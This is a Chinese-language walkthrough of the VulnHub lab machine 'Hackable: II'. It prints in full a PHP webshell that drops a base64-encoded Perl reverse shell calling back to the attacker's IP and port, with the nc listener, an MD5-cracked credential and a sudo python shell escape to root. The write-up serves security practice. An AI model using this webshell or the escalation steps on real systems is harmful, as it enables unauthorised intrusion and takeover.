一、准备工作
kali和靶机都选择NAT模式(kali与靶机同网段)
1.靶场环境
下载链接:Hackable: II ~ VulnHub
2.kali的ip
命令:ifconfig
3.靶机的ip
扫描靶机ip
sudo arp-scan -l
二、信息收集
1.nmap的信息收集
(1)扫描靶机开放的端口及其服务
nmap -sC -A -p- 192.168.101.124
2.网站信息收集
(1)靶机开放了80端口,先访问靶机网站看看有什么有用的信息
发现是apapche默认页面,使用dirb进行目录扫描
dirb http://192.168.101.124
扫出http://192.168.101.124/files/,访问一下
三、漏洞发现及利用
(1)ftp登录
1.发现21端口允许 anonymous: allowed登录
ftp 192.168.101.124
2.下载下CALL.html文件,查看其中的内容
get CALL.html
3.发现这就是刚才那个CALL.html文件
4.上传一个txt测试一下
put swn.txt
查看txt文件,跟我写的一模一样
(2)通过ftp上传webshell.php
webshell源码
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.101.10";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
1.将php放到/home/kali目录下,因为我刚才是用kali用户进行ftp登录,默认情况下通过这里上传
2.上传webshell
put webshell.php
3.在kali这边开启监听
nc -lvvp 4444
4.进入到网页http://192.168.101.124/files/这边访问webshell
kali这边成功监听
5.优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行):
python3 -c 'import pty; pty.spawn("/bin/bash");'
四、提权
1.发现一个提示文件,让我们启动脚本
cd /home
ls
cat important.txt
/.runme.sh
得到一个用户密码:shrek:cf4c2232354952690368f1b3dfdfb24d
这个密码是加密过的,尝试用md5解密
最后得到用户密码:shrek:onion
2.ssh远程登录
ssh shrek@192.168.101.124
3.查看该用户的权限并且该用户能够利用引用root相关的执行文件有哪些
sudo -l
4.使用python进行提权
sudo python3.5 -c 'import os; os.system("/bin/sh")'
5.拿下flag
ls
cat user.txt